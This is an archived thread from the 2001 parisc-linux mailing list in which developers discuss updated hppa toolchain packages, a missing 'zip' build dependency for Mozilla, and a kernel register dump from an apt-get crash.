> The following are available:
>=20
> binutils (with latest patches from Alan Modra)
> gcc (with ldcw alignment patch)
> glibc (with latest patches from Alan Modra)
> python and apache rebuilt with new toolchain bits

<snippered>

I'm downloading these now, along with fresh debs. I am going to setup a
nfsroot again to test. Hopefully I can finally run ls on my 720 now? :-)

I notice that the latest kernel on http://ftp.parisc.linux.org/ is
linux-20011024.tar.gz. Are the snapshots lagging behind, or was this the
last working snapshot? :-)

Thanks for the hard work!

Regards,

Albert

--AhhlLboLdkugWU4S
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE755xyDg+hOeRZtkMRAq5yAJ4to28BJCrfTxRGbVMuky1oKy8l8gCfYlVH
jGS8YzFaBixvqG1pXWDM7ms=
=P4AU
-----END PGP SIGNATURE-----

--AhhlLboLdkugWU4S--



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Tue, 6 Nov 2001 11:49:04 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20011106114904.L8938@linuxcare.com>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com> <003101c163a9$48570590$56dc10c3@amos> <OE13GhAj5p1Fjxe0ymQ00007efc@hotmail.com> <20011105032426.A1671@solo.franken.de> <OE72TyAAfCKQBu8Etaa00008646@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620712 29235 80.91.229.3 (22 Nov 2014 01:45:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:12 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	Kaj-Michael Lang <milang@tal.org>, parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 04:47:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A9A1482B
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 04:47:58 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id D8DFCB00C; Tue,  6 Nov 2001 11:49:04 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <OE72TyAAfCKQBu8Etaa00008646@hotmail.com>; from kennywest1@hotmail.com on Tue, Nov 06, 2001 at 09:04:04AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12916

On Tue, Nov 06, 2001 at 09:04:04AM +0100, kenneth westelinck wrote:
> Hi,
> 
> 
> I tried to do a dpkg-buildpackage. He seems to be complaining about the
> "zip" package. Appearantly the build depends on this package. However, when
> I tried a "apt-get install zip" the package was not found. Is there an alias
> for this package, or do I also need to build this package from the
> source-deb?

Works for me:


root@slab:/build/palo/palo-0.95# apt-get install zip
Reading Package Lists... Done
Building Dependency Tree... Done
The following NEW packages will be installed:
  zip 
0 packages upgraded, 1 newly installed, 0 to remove and 52  not upgraded.
Need to get 101kB of archives. After unpacking 254kB will be used.
Get:1 http://non-us.debian.org unstable/non-US/main zip 2.30-3 [101kB]
Fetched 101kB in 0s (151kB/s)
Selecting previously deselected package zip.
(Reading database ... 25584 files and directories currently installed.)
Unpacking zip (from .../archives/zip_2.30-3_hppa.deb) ...
Setting up zip (2.30-3) ...


Maybe you need to apt-get update ?

Richard




From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Tue, 06 Nov 2001 12:44:35 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <3BE7CD23.1315D53B@esiee.fr>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com> <003101c163a9$48570590$56dc10c3@amos> <OE13GhAj5p1Fjxe0ymQ00007efc@hotmail.com> <20011105032426.A1671@solo.franken.de> <OE72TyAAfCKQBu8Etaa00008646@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620712 29238 80.91.229.3 (22 Nov 2014 01:45:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:12 +0000 (UTC)
Cc: Kaj-Michael Lang <milang@tal.org>, parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 04:48:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB1624842
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 04:48:57 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 6B61849BEB; Tue,  6 Nov 2001 12:48:41 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12917

Hi Kenneth,
> 
> I tried to do a dpkg-buildpackage. He seems to be complaining about the
> "zip" package. Appearantly the build depends on this package. However, when
> I tried a "apt-get install zip" the package was not found. Is there an alias
> for this package, or do I also need to build this package from the
> source-deb?
The package "zip" is non-US. So, you have to add the non-US server in
your source.list and do a "apt-get source zip" and then build the
package. 

But, I will say that in
http://ftp.fr.debian.org/debian-non-US/pool/non-US/main/z/zip/ , you
have the hppa binary
http://ftp.fr.debian.org/debian-non-US/pool/non-US/main/z/zip/zip_2.30-3_hppa.deb

Since I do not know if it is very legal to do that. It is up to you :-)

After installing it, you will be able to start the building of
mozilla...

Good luck, Thomas.
ESIEE Team



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 06 Nov 2001 14:11:51 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <3BE7E197.BC71474C@esiee.fr>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620712 29240 80.91.229.3 (22 Nov 2014 01:45:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:12 +0000 (UTC)
Cc: "Christopher C. Chimelis" <chris@debian.org>,
	parisc-linux@parisc-linux.org, bcollins@debian.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 06:16:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id AEB77482B
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 06:15:59 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 885D749C0B; Tue,  6 Nov 2001 14:15:57 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12918

Hi all,

	GOOD NEWS
	The new packages seem to solve my troubles with Expect. It seems to be
some good patches in this version.

Thanks to all guys that made them available, Thomas.
ESIEE Team



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nathan Neulinger <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 06 Nov 2001 07:17:48 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <3BE7E2FC.B63BFDC4@umr.edu>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <3BE7E197.BC71474C@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620713 29244 80.91.229.3 (22 Nov 2014 01:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 06:17:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx.rollanet.org (mailsrv.rollanet.org [192.55.114.7])
	by dsl2.external.hp.com (Postfix) with SMTP id 3F4DD482C
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 06:17:55 -0700 (MST)
Original-Received: (qmail 16542 invoked from network); 6 Nov 2001 13:17:48 -0000
Original-Received: from cessna.rollanet.org (HELO umr.edu) (nneul@216.229.93.21)
  by mx.rollanet.org with SMTP; 6 Nov 2001 13:17:48 -0000
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.10 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12919

Thomas Marteau wrote:
> 
> Hi all,
> 
>         GOOD NEWS
>         The new packages seem to solve my troubles with Expect. It seems to be
> some good patches in this version.
> 
> Thanks to all guys that made them available, Thomas.
> ESIEE Team
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

Is it now safe again to do a apt-get upgrade?

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 06 Nov 2001 14:17:31 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <3BE7E2EB.8E765EBB@esiee.fr>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <3BE7E197.BC71474C@esiee.fr> <3BE7E2FC.B63BFDC4@umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620713 29248 80.91.229.3 (22 Nov 2014 01:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:13 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Nathan Neulinger <nneul@umr.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 06:21:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 09117482B
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 06:21:39 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 73ADF49C00; Tue,  6 Nov 2001 14:21:37 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12920

> Is it now safe again to do a apt-get upgrade?

For the moment, the files are in gluck.debian.org/~tausq/hppa. But I
think they will soon be available via apt-get. But, I will wait for
doing upgrade because they are tested so not uploaded but I can be
wrong.

Thomas.
ESIEE Team



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 15:23:18 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20011106152317.A4530@dogbert.localdomain>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="WIyZ46R2i8wDzkSu"
X-Trace: ger.gmane.org 1416620713 29253 80.91.229.3 (22 Nov 2014 01:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 06:24:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id F23AA482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 06:24:25 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 1616DB-0006QH-00
	for parisc-linux@lists.parisc-linux.org; Tue, 06 Nov 2001 15:24:17 +0200
Original-Received: (qmail 26436 invoked from network); 6 Nov 2001 13:24:15 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 6 Nov 2001 13:24:15 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 1616CE-0001Ch-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 06 Nov 2001 15:23:18 +0200
Content-Disposition: inline
In-Reply-To: <20011106101650.A29917@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *1616DB-0006QH-00*Vz.r./BWa6Y* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12921

--WIyZ46R2i8wDzkSu
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

Things are looking good. I've been running tar and ls and whatnot. Fired
up screen to see what was going on. Seems I have a bit of a sick apt db,
and /usr/sbin/install-info just sits there sometimes, but I think most
of this can be attributed to a) nfsroot wierdness and b) a sick apt db.

I'll play around some more. Don't know when my local mirror is going to
have these packages, so I'm going to try to setup a mirror on one of my
machines again over the weekend and attempt a fresh install with the
3.0.15 boot-floppies.

Regards,

Albert

--WIyZ46R2i8wDzkSu
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE75+RFDg+hOeRZtkMRAt1sAJ9XdTVPuW2iXS0f+72CCyVx62WRzQCfWDvm
8hTsboj9eg728ZHK3O8M4ys=
=xm5W
-----END PGP SIGNATURE-----

--WIyZ46R2i8wDzkSu--



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 08:24:23 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0111060822440.15450-100000@spawn.hockeyfiend.com>
References: <3BE7E197.BC71474C@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620713 29256 80.91.229.3 (22 Nov 2014 01:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:13 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>, parisc-linux@parisc-linux.org,
	bcollins@debian.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 06:24:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id C41E1482C
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 06:24:33 -0700 (MST)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.32 #1 (Debian))
	id 1616DH-000425-00; Tue, 06 Nov 2001 08:24:23 -0500
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <3BE7E197.BC71474C@esiee.fr>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12922

FYI, I should have a new upload within the next day or two that includes
the patches from Randolph and Alan.  I'll let you know when the source
package is in incoming so that you can build them and get them installed
ASAP.

C

On Tue, 6 Nov 2001, Thomas Marteau wrote:

> Hi all,
> 
> 	GOOD NEWS
> 	The new packages seem to solve my troubles with Expect. It seems to be
> some good patches in this version.
> 
> Thanks to all guys that made them available, Thomas.
> ESIEE Team
> 
> 




From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 15:54:28 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20011106155428.A4719@dogbert.localdomain>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org> <20011106101650.A29917@dogbert.localdomain> <20011106152317.A4530@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="Dxnq1zWXvFF0Q93v"
X-Trace: ger.gmane.org 1416620714 29262 80.91.229.3 (22 Nov 2014 01:45:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 06:55:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EEEE482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 06:55:33 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 1616hN-0002DO-00
	for parisc-linux@lists.parisc-linux.org; Tue, 06 Nov 2001 15:55:29 +0200
Original-Received: (qmail 26531 invoked from network); 6 Nov 2001 13:55:25 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 6 Nov 2001 13:55:25 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 1616gQ-0001EH-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 06 Nov 2001 15:54:30 +0200
Content-Disposition: inline
In-Reply-To: <20011106152317.A4530@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *1616hN-0002DO-00*g0EXL1O0hHU* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12923

--Dxnq1zWXvFF0Q93v
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

I've managed to battle with apt a bit more. Some more stuff is now
installed. I broke screen though. Some nfs thing.

Anyway, next mini-hurdle:

init-2.05# apt-get update
Get:1 http://ftp.leg.uct.ac.za testing/main Packages [1139kB]
Get:Illegal instruction

dmesg output:

!!die_if_kernel: apt-get(3956): Privileged register - shouldn't happen! 11

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111
r0-3     00000000 401e43fc 401845ff 00045990
r4-7     401e5bfc faf00d10 faf00b90 0000000a
r8-11    0004d1b0 faf00948 0004d1d8 faf00ba8
r12-15   00000000 faf00b98 000c5210 00000000
r16-19   00000000 00000000 10348000 00045220
r20-23   00000002 401cec20 401845b0 00000000
r24-27   00000020 00045998 faf00d90 00040220
r28-31   faf00d10 00000005 faf00e00 00026f03
sr0-3    00000000 0000004c 00000000 0000004c
sr4-7    0000004c 0000004c 0000004c 0000004c

IASQ: 0000004c 0000004c IAOQ: 401cec23 401cec27
 IIR: 00040948    ISR: 0000004c  IOR: 00000000
 CPU:        0   CR30: 15bb0000 CR31: 10350000
 ORIG_R28: 00000001

Clearly it does happen. Mehehe. :-)

Should I decode this? I think I'll find instructions in the list
archive? Search for "decode"?

That's about it for now. Keep on rollin'! :-)

Regards,

Albert

--Dxnq1zWXvFF0Q93v
